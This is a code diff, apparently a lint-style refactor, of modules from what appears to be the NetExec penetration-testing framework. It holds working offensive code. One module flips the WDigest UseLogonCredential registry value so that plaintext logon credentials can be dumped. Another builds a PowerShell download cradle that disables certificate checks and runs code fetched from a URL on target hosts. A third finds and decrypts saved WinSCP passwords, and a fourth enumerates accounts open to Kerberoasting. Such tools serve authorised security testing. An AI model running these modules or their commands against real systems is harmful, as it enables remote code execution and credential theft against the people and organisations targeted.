||||
if 'Broken pipe' in e.args:
|
||||
self.context.log.error('Retrying')
|
||||
self.context.log.error(f"HostChecker._open_root_key():{connection.host}: Error while trying to open {root_key.upper()}: {e}")
|
||||
if "Broken pipe" in e.args:
|
||||
self.context.log.error("Retrying")
|
||||
retries -= 1
|
||||
return ans
|
||||
|
||||
def reg_get_subkeys(self, dce, connection, key_name):
|
||||
root_key, subkey = key_name.split('\\', 1)
|
||||
root_key, subkey = key_name.split("\\", 1)
|
||||
ans = self._open_root_key(dce, connection, root_key)
|
||||
subkeys = []
|
||||
if ans is None:
|
||||
return subkeys
|
||||
|
||||
root_key_handle = ans['phKey']
|
||||
root_key_handle = ans["phKey"]
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(dce, root_key_handle, subkey)
|
||||
except DCERPCSessionError as e:
|
||||
if e.error_code != ERROR_FILE_NOT_FOUND:
|
||||
self.context.log.error(f'HostChecker.reg_get_subkeys(): Could not retrieve subkey {subkey}: {e}\n')
|
||||
self.context.log.error(f"HostChecker.reg_get_subkeys(): Could not retrieve subkey {subkey}: {e}\n")
|
||||
return subkeys
|
||||
except Exception as e:
|
||||
self.context.log.error(f'HostChecker.reg_get_subkeys(): Error while trying to retrieve subkey {subkey}: {e}\n')
|
||||
self.context.log.error(f"HostChecker.reg_get_subkeys(): Error while trying to retrieve subkey {subkey}: {e}\n")
|
||||
return subkeys
|
||||
|
||||
subkey_handle = ans['phkResult']
|
||||
subkey_handle = ans["phkResult"]
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans = rrp.hBaseRegEnumKey(dce=dce, hKey=subkey_handle, dwIndex=i)
|
||||
subkeys.append(ans['lpNameOut'][:-1])
|
||||
subkeys.append(ans["lpNameOut"][:-1])
|
||||
i += 1
|
||||
except DCERPCSessionError as e:
|
||||
except DCERPCSessionError:
|
||||
break
|
||||
return subkeys
|
||||
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None):
|
||||
"""
|
||||
Query remote registry data for a given registry value
|
||||
"""
|
||||
"""Query remote registry data for a given registry value"""
|
||||
|
||||
def subkey_values(subkey_handle):
|
||||
dwIndex = 0
|
||||
dw_index = 0
|
||||
while True:
|
||||
try:
|
||||
value_type, value_name, value_data = get_value(subkey_handle, dwIndex)
|
||||
yield (value_type, value_name, value_data)
|
||||
dwIndex += 1
|
||||
value_type, value_name, value_data = get_value(subkey_handle, dw_index)
|
||||
yield value_type, value_name, value_data
|
||||
dw_index += 1
|
||||
except DCERPCSessionError as e:
|
||||
if e.error_code == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
else:
|
||||
self.context.log.error(f'HostChecker.reg_query_value()->sub_key_values(): Received error code {e.error_code}')
|
||||
self.context.log.error(f"HostChecker.reg_query_value()->sub_key_values(): Received error code {e.error_code}")
|
||||
return
|
||||
|
||||
def get_value(subkey_handle, dwIndex=0):
|
||||
ans = rrp.hBaseRegEnumValue(dce=dce, hKey=subkey_handle, dwIndex=dwIndex)
|
||||
value_type = ans['lpType']
|
||||
value_name = ans['lpValueNameOut']
|
||||
value_data = ans['lpData']
|
||||
value_type = ans["lpType"]
|
||||
value_name = ans["lpValueNameOut"]
|
||||
value_data = ans["lpData"]
|
||||
|
||||
# Do any conversion necessary depending on the registry value type
|
||||
if value_type in (
|
||||
REG_VALUE_TYPE_UNICODE_STRING,
|
||||
REG_VALUE_TYPE_UNICODE_STRING_WITH_ENV,
|
||||
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE):
|
||||
value_data = b''.join(value_data).decode('utf-16')
|
||||
if value_type in (REG_VALUE_TYPE_UNICODE_STRING, REG_VALUE_TYPE_UNICODE_STRING_WITH_ENV, REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE):
|
||||
value_data = b"".join(value_data).decode("utf-16")
|
||||
else:
|
||||
value_data = b''.join(value_data)
|
||||
if value_type in (
|
||||
REG_VALUE_TYPE_32BIT_LE,
|
||||
REG_VALUE_TYPE_64BIT_LE):
|
||||
value_data = int.from_bytes(value_data, 'little')
|
||||
value_data = b"".join(value_data)
|
||||
if value_type in (REG_VALUE_TYPE_32BIT_LE, REG_VALUE_TYPE_64BIT_LE):
|
||||
value_data = int.from_bytes(value_data, "little")
|
||||
elif value_type == REG_VALUE_TYPE_32BIT_BE:
|
||||
value_data = int.from_bytes(value_data, 'big')
|
||||
value_data = int.from_bytes(value_data, "big")
|
||||
|
||||
return value_type, value_name[:-1], value_data
|
||||
|
||||
try:
|
||||
root_key, subkey = keyName.split('\\', 1)
|
||||
root_key, subkey = keyName.split("\\", 1)
|
||||
except ValueError:
|
||||
self.context.log.error(f'HostChecker.reg_query_value(): Could not split keyname {keyName}')
|
||||
return
|
||||
self.context.log.error(f"HostChecker.reg_query_value(): Could not split keyname {keyName}")
|
||||
|
||||
ans = self._open_root_key(dce, connection, root_key)
|
||||
if ans is None:
|
||||
return ans
|
||||
|
||||
root_key_handle = ans['phKey']
|
||||
root_key_handle = ans["phKey"]
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(dce, root_key_handle, subkey)
|
||||
except DCERPCSessionError as e:
|
||||
if e.error_code == ERROR_FILE_NOT_FOUND:
|
||||
return e
|
||||
|
||||
subkey_handle = ans['phkResult']
|
||||
subkey_handle = ans["phkResult"]
|
||||
|
||||
if valueName is None:
|
||||
_,_, data = get_value(subkey_handle)
|
||||
_, _, data = get_value(subkey_handle)
|
||||
else:
|
||||
found = False
|
||||
for _,name,data in subkey_values(subkey_handle):
|
||||
for _, name, _data in subkey_values(subkey_handle):
|
||||
if name.upper() == valueName.upper():
|
||||
found = True
|
||||
break
|
||||
|
@ -726,70 +603,72 @@ class HostChecker:
|
|||
################################################
|
||||
|
||||
def get_service(self, service_name, connection):
|
||||
"""
|
||||
Get the service status and configuration for specified service
|
||||
"""
|
||||
"""Get the service status and configuration for specified service"""
|
||||
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
|
||||
machine_name,_ = remoteOps.getMachineNameAndDomain()
|
||||
machine_name, _ = remoteOps.getMachineNameAndDomain()
|
||||
remoteOps._RemoteOperations__connectSvcCtl()
|
||||
dce = remoteOps._RemoteOperations__scmr
|
||||
scm_handle = scmr.hROpenSCManagerW(dce, machine_name)['lpScHandle']
|
||||
service_handle = scmr.hROpenServiceW(dce, scm_handle, service_name)['lpServiceHandle']
|
||||
service_config = scmr.hRQueryServiceConfigW(dce, service_handle)['lpServiceConfig']
|
||||
service_status = scmr.hRQueryServiceStatus(dce, service_handle)['lpServiceStatus']['dwCurrentState']
|
||||
scm_handle = scmr.hROpenSCManagerW(dce, machine_name)["lpScHandle"]
|
||||
service_handle = scmr.hROpenServiceW(dce, scm_handle, service_name)["lpServiceHandle"]
|
||||
service_config = scmr.hRQueryServiceConfigW(dce, service_handle)["lpServiceConfig"]
|
||||
service_status = scmr.hRQueryServiceStatus(dce, service_handle)["lpServiceStatus"]["dwCurrentState"]
|
||||
remoteOps.finish()
|
||||
|
||||
return service_config, service_status
|
||||
|
||||
def get_user_info(self, connection, rid=501):
|
||||
"""
|
||||
Get user information for the user with the specified RID
|
||||
"""
|
||||
remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
|
||||
machine_name, domain_name = remoteOps.getMachineNameAndDomain()
|
||||
"""Get user information for the user with the specified RID"""
|
||||
remote_ops = RemoteOperations(smbConnection=connection.conn, doKerberos=False)
|
||||
machine_name, domain_name = remote_ops.getMachineNameAndDomain()
|
||||
|
||||
try:
|
||||
remoteOps.connectSamr(machine_name)
|
||||
remote_ops.connectSamr(machine_name)
|
||||
except samr.DCERPCSessionError:
|
||||
# If connecting to machine_name didn't work, it's probably because
|
||||
# we're dealing with a domain controller, so we need to use the
|
||||
# actual domain name instead of the machine name, because DCs don't
|
||||
# use the SAM
|
||||
remoteOps.connectSamr(domain_name)
|
||||
remote_ops.connectSamr(domain_name)
|
||||
|
||||
dce = remoteOps._RemoteOperations__samr
|
||||
domain_handle = remoteOps._RemoteOperations__domainHandle
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, userId=rid)['UserHandle']
|
||||
dce = remote_ops._RemoteOperations__samr
|
||||
domain_handle = remote_ops._RemoteOperations__domainHandle
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, userId=rid)["UserHandle"]
|
||||
user_info = samr.hSamrQueryInformationUser2(dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)
|
||||
user_info = user_info['Buffer']['All']
|
||||
remoteOps.finish()
|
||||
user_info = user_info["Buffer"]["All"]
|
||||
remote_ops.finish()
|
||||
return user_info
|
||||
|
||||
def ls(self, smb, path='\\', share='C$'):
|
||||
l = []
|
||||
def ls(self, smb, path="\\", share="C$"):
|
||||
file_listing = []
|
||||
try:
|
||||
l = smb.conn.listPath(share, path)
|
||||
file_listing = smb.conn.listPath(share, path)
|
||||
except SMBSessionError as e:
|
||||
if e.getErrorString()[0] not in ('STATUS_NO_SUCH_FILE', 'STATUS_OBJECT_NAME_NOT_FOUND'):
|
||||
self.context.log.error(f'ls(): C:\\{path} {e.getErrorString()}')
|
||||
if e.getErrorString()[0] not in ("STATUS_NO_SUCH_FILE", "STATUS_OBJECT_NAME_NOT_FOUND"):
|
||||
self.context.log.error(f"ls(): C:\\{path} {e.getErrorString()}")
|
||||
except Exception as e:
|
||||
self.context.log.error(f'ls(): C:\\{path} {e}\n')
|
||||
return l
|
||||
self.context.log.error(f"ls(): C:\\{path} {e}\n")
|
||||
return file_listing
|
||||
|
||||
|
||||
# Comparison operators #
|
||||
########################
|
||||
|
||||
|
||||
def le(reg_sz_string, number):
|
||||
return int(reg_sz_string[:-1]) <= number
|
||||
|
||||
|
||||
def in_(obj, seq):
|
||||
return obj in seq
|
||||
|
||||
|
||||
def startswith(string, start):
|
||||
return string.startswith(start)
|
||||
|
||||
|
||||
def not_(boolean_operator):
|
||||
def wrapper(*args, **kwargs):
|
||||
return not boolean_operator(*args, **kwargs)
|
||||
wrapper.__name__ = f'not_{boolean_operator.__name__}'
|
||||
|
||||
wrapper.__name__ = f"not_{boolean_operator.__name__}"
|
||||
return wrapper
|
||||
|
|
|
@ -1,13 +1,11 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from sys import exit
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
name = "wdigest"
|
||||
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
|
||||
supported_protocols = ["smb"]
|
||||
|
@ -15,11 +13,8 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Create/Delete the registry key (choices: enable, disable, check)
|
||||
"""
|
||||
|
||||
if not "ACTION" in module_options:
|
||||
"""ACTION Create/Delete the registry key (choices: enable, disable, check)"""
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
|
@ -38,107 +33,99 @@ class NXCModule:
|
|||
self.wdigest_check(context, connection.conn)
|
||||
|
||||
def wdigest_enable(self, context, smbconnection):
|
||||
remoteOps = RemoteOperations(smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"UseLogonCredential\x00",
|
||||
rrp.REG_DWORD,
|
||||
1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
|
||||
|
||||
if int(data) == 1:
|
||||
context.log.success("UseLogonCredential registry key created successfully")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
def wdigest_disable(self, context, smbconnection):
|
||||
remoteOps = RemoteOperations(smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
try:
|
||||
rrp.hBaseRegDeleteValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"UseLogonCredential\x00",
|
||||
)
|
||||
except:
|
||||
except Exception:
|
||||
context.log.success("UseLogonCredential registry key not present")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
return
|
||||
|
||||
try:
|
||||
# Check to make sure the reg key is actually deleted
|
||||
rtype, data = rrp.hBaseRegQueryValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"UseLogonCredential\x00",
|
||||
)
|
||||
except DCERPCException:
|
||||
context.log.success("UseLogonCredential registry key deleted successfully")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
||||
def wdigest_check(self, context, smbconnection):
|
||||
remoteOps = RemoteOperations(smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
|
||||
keyHandle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
try:
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
|
||||
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
|
||||
if int(data) == 1:
|
||||
context.log.success("UseLogonCredential registry key is enabled")
|
||||
else:
|
||||
context.log.fail("Unexpected registry value for UseLogonCredential: %s" % data)
|
||||
context.log.fail(f"Unexpected registry value for UseLogonCredential: {data}")
|
||||
except DCERPCException as d:
|
||||
if "winreg.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" in str(d):
|
||||
context.log.fail("UseLogonCredential registry key is disabled (registry key not found)")
|
||||
else:
|
||||
context.log.fail("UseLogonCredential registry key not present")
|
||||
try:
|
||||
remoteOps.finish()
|
||||
except:
|
||||
pass
|
||||
with contextlib.suppress(Exception):
|
||||
remote_ops.finish()
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from sys import exit
|
||||
|
||||
|
||||
|
@ -23,8 +20,7 @@ class NXCModule:
|
|||
URL URL for the download cradle
|
||||
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
|
||||
"""
|
||||
|
||||
if not "URL" in module_options:
|
||||
if "URL" not in module_options:
|
||||
context.log.fail("URL option is required!")
|
||||
exit(1)
|
||||
|
||||
|
@ -38,7 +34,7 @@ class NXCModule:
|
|||
self.payload = module_options["PAYLOAD"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(self.url)
|
||||
ps_command = f"""[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{self.url}');"""
|
||||
if self.payload == "32":
|
||||
connection.ps_execute(ps_command, force_ps32=True)
|
||||
else:
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket import nt_errors
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
|
@ -22,9 +19,7 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
MSG Info message when the WebClient service is running. '{}' is replaced by the target.
|
||||
"""
|
||||
"""MSG Info message when the WebClient service is running. '{}' is replaced by the target."""
|
||||
self.output = "WebClient Service enabled on: {}"
|
||||
|
||||
if "MSG" in module_options:
|
||||
|
@ -38,7 +33,7 @@ class NXCModule:
|
|||
try:
|
||||
remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA)
|
||||
|
||||
remote_file.open()
|
||||
remote_file.open_file()
|
||||
remote_file.close()
|
||||
|
||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost()))
|
||||
|
|
|
@ -11,19 +11,14 @@ class NXCModule:
|
|||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USER Enumerate information about a different SamAccountName
|
||||
"""
|
||||
"""USER Enumerate information about a different SamAccountName"""
|
||||
self.username = None
|
||||
if "USER" in module_options:
|
||||
self.username = module_options["USER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchBase = connection.ldapConnection._baseDN
|
||||
if self.username is None:
|
||||
searchFilter = f"(sAMAccountName={connection.username})"
|
||||
else:
|
||||
searchFilter = f"(sAMAccountName={format(self.username)})"
|
||||
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
|
||||
|
||||
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
|
||||
|
||||
|
@ -48,27 +43,27 @@ class NXCModule:
|
|||
for response in r[0]["attributes"]:
|
||||
if "userAccountControl" in str(response["type"]):
|
||||
if str(response["vals"][0]) == "512":
|
||||
context.log.highlight(f"Enabled: Yes")
|
||||
context.log.highlight(f"Password Never Expires: No")
|
||||
context.log.highlight("Enabled: Yes")
|
||||
context.log.highlight("Password Never Expires: No")
|
||||
elif str(response["vals"][0]) == "514":
|
||||
context.log.highlight(f"Enabled: No")
|
||||
context.log.highlight(f"Password Never Expires: No")
|
||||
context.log.highlight("Enabled: No")
|
||||
context.log.highlight("Password Never Expires: No")
|
||||
elif str(response["vals"][0]) == "66048":
|
||||
context.log.highlight(f"Enabled: Yes")
|
||||
context.log.highlight(f"Password Never Expires: Yes")
|
||||
context.log.highlight("Enabled: Yes")
|
||||
context.log.highlight("Password Never Expires: Yes")
|
||||
elif str(response["vals"][0]) == "66050":
|
||||
context.log.highlight(f"Enabled: No")
|
||||
context.log.highlight(f"Password Never Expires: Yes")
|
||||
context.log.highlight("Enabled: No")
|
||||
context.log.highlight("Password Never Expires: Yes")
|
||||
elif "lastLogon" in str(response["type"]):
|
||||
if str(response["vals"][0]) == "1601":
|
||||
context.log.highlight(f"Last logon: Never")
|
||||
context.log.highlight("Last logon: Never")
|
||||
else:
|
||||
context.log.highlight(f"Last logon: {response['vals'][0]}")
|
||||
elif "memberOf" in str(response["type"]):
|
||||
for group in response["vals"]:
|
||||
context.log.highlight(f"Member of: {group}")
|
||||
elif "servicePrincipalName" in str(response["type"]):
|
||||
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
|
||||
context.log.highlight("Service Account Name(s) found - Potentially Kerberoastable user!")
|
||||
for spn in response["vals"]:
|
||||
context.log.highlight(f"Service Account Name: {spn}")
|
||||
else:
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
|
||||
# References and inspiration:
|
||||
# - https://github.com/anoopengineer/winscppasswd
|
||||
|
@ -18,9 +16,7 @@ import configparser
|
|||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "winscp"
|
||||
description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials."
|
||||
|
@ -29,7 +25,7 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini")
|
||||
|
||||
REQUIRES ADMIN PRIVILEGES:
|
||||
|
@ -38,10 +34,7 @@ class NXCModule:
|
|||
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
|
||||
for every user found on the System.
|
||||
"""
|
||||
if "PATH" in module_options:
|
||||
self.filepath = module_options["PATH"]
|
||||
else:
|
||||
self.filepath = ""
|
||||
self.filepath = module_options.get("PATH", "")
|
||||
|
||||
self.PW_MAGIC = 0xA3
|
||||
self.PW_FLAG = 0xFF
|
||||
|
@ -49,339 +42,322 @@ class NXCModule:
|
|||
self.userDict = {}
|
||||
|
||||
# ==================== Helper ====================
|
||||
def printCreds(self, context, session):
|
||||
if type(session) is str:
|
||||
def print_creds(self, context, session):
|
||||
if isinstance(session, str):
|
||||
context.log.fail(session)
|
||||
else:
|
||||
context.log.highlight("======={s}=======".format(s=session[0]))
|
||||
context.log.highlight("HostName: {s}".format(s=session[1]))
|
||||
context.log.highlight("UserName: {s}".format(s=session[2]))
|
||||
context.log.highlight("Password: {s}".format(s=session[3]))
|
||||
context.log.highlight(f"======={session[0]}=======")
|
||||
context.log.highlight(f"HostName: {session[1]}")
|
||||
context.log.highlight(f"UserName: {session[2]}")
|
||||
context.log.highlight(f"Password: {session[3]}")
|
||||
|
||||
def userObjectToNameMapper(self, context, connection, allUserObjects):
|
||||
def user_object_to_name_mapper(self, context, connection, allUserObjects):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
for userObject in allUserObjects:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
self.userDict[userObject] = userProfilePath.split("\\")[-1]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
self.userDict[userObject] = user_profile_path.split("\\")[-1]
|
||||
finally:
|
||||
remoteOps.finish()
|
||||
remote_ops.finish()
|
||||
|
||||
# ==================== Decrypt Password ====================
|
||||
def decryptPasswd(self, host: str, username: str, password: str) -> str:
|
||||
def decrypt_passwd(self, host: str, username: str, password: str) -> str:
|
||||
key = username + host
|
||||
|
||||
# transform password to bytes
|
||||
passBytes = []
|
||||
pass_bytes = []
|
||||
for i in range(len(password)):
|
||||
val = int(password[i], 16)
|
||||
passBytes.append(val)
|
||||
pass_bytes.append(val)
|
||||
|
||||
pwFlag, passBytes = self.dec_next_char(passBytes)
|
||||
pwLength = 0
|
||||
pw_flag, pass_bytes = self.dec_next_char(pass_bytes)
|
||||
pw_length = 0
|
||||
|
||||
# extract password length and trim the passbytes
|
||||
if pwFlag == self.PW_FLAG:
|
||||
_, passBytes = self.dec_next_char(passBytes)
|
||||
pwLength, passBytes = self.dec_next_char(passBytes)
|
||||
if pw_flag == self.PW_FLAG:
|
||||
_, pass_bytes = self.dec_next_char(pass_bytes)
|
||||
pw_length, pass_bytes = self.dec_next_char(pass_bytes)
|
||||
else:
|
||||
pwLength = pwFlag
|
||||
to_be_deleted, passBytes = self.dec_next_char(passBytes)
|
||||
passBytes = passBytes[to_be_deleted * 2 :]
|
||||
pw_length = pw_flag
|
||||
to_be_deleted, pass_bytes = self.dec_next_char(pass_bytes)
|
||||
pass_bytes = pass_bytes[to_be_deleted * 2:]
|
||||
|
||||
# decrypt the password
|
||||
clearpass = ""
|
||||
for i in range(pwLength):
|
||||
val, passBytes = self.dec_next_char(passBytes)
|
||||
for _i in range(pw_length):
|
||||
val, pass_bytes = self.dec_next_char(pass_bytes)
|
||||
clearpass += chr(val)
|
||||
if pwFlag == self.PW_FLAG:
|
||||
clearpass = clearpass[len(key) :]
|
||||
if pw_flag == self.PW_FLAG:
|
||||
clearpass = clearpass[len(key):]
|
||||
return clearpass
|
||||
|
||||
def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
|
||||
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
|
||||
"""
|
||||
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
passBytes : bytes
|
||||
pass_bytes : bytes
|
||||
The password bytes
|
||||
"""
|
||||
if not passBytes:
|
||||
return 0, passBytes
|
||||
a = passBytes[0]
|
||||
b = passBytes[1]
|
||||
passBytes = passBytes[2:]
|
||||
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes
|
||||
if not pass_bytes:
|
||||
return 0, pass_bytes
|
||||
a = pass_bytes[0]
|
||||
b = pass_bytes[1]
|
||||
pass_bytes = pass_bytes[2:]
|
||||
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
|
||||
|
||||
# ==================== Handle Registry ====================
|
||||
def registrySessionExtractor(self, context, connection, userObject, sessionName):
|
||||
"""
|
||||
Extract Session information from registry
|
||||
"""
|
||||
def registry_session_extractor(self, context, connection, userObject, sessionName):
|
||||
"""Extract Session information from registry"""
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
